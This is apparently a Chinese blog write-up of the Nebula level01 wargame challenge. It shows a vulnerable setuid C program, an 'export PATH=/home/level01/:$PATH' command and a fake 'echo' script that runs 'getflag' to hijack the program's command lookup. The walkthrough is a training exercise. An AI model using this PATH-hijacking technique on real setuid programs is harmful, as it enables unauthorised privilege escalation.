nebula 01
来源:互联网 发布:读写分离 mysql原理 编辑:程序博客网 时间:2024/05/10 00:25
这一关是找出一个程序可以执行任意程序的漏洞
1#include <stdlib.h> 2#include <unistd.h> 3#include <string.h> 4#include <sys/types.h> 5#include <stdio.h> 6 7int main(int argc, char **argv, char **envp) 8{ 9 gid_t gid;10 uid_t uid;11 gid = getegid();12 uid = geteuid();1314 setresgid(gid, gid, gid);15 setresuid(uid, uid, uid);1617 system("/usr/bin/env echo and now what?");18}问题出在/usr/bin/env这个命令,用这个命令启动后面的shell命令
在自己的主目录建立一个叫echo的脚本,想执行什么就写什么,然后权限设置为可执行,接下来把当前目录加到PATH环境变量的最前端
export PATH=/home/level01/:$PATH
然后执行这个程序,就可以调到我们的假的echo命令了
echo:
#!/bin/bash
getflag
0 0
- nebula 01
- Nebula
- nebula 0
- Nebula level00
- Nebula level01
- Nebula level02
- Nebula level04
- Nebula level03
- Nebula level05
- Nebula level06
- Nebula level07
- Nebula level08
- Nebula level09
- Nebula level10
- Nebula level11
- Nebula level12
- Nebula level13
- Nebula level14
- Oracle ADF 提供了以下声明式的方式使用Groovy
- 求强连通分支 tarjan算法
- 赢在投资网-股票配资1:6放大资金,盈利随时提取
- cppcheck 单元测试框架浅析
- Java 欧拉工程 第二十篇【 算出100!的各位之和。】
- nebula 01
- Android studio 解决 No content provider found for permission revoke 问题
- JAVA中List、Map、Set的区别与选用
- JavaScript HTML5 手机网站 基本功能
- 面向对象转载(精)
- Linked List Cycle II
- WEB开发你首先要做的是开始去做
- systemverilog 中多种always
- TS解码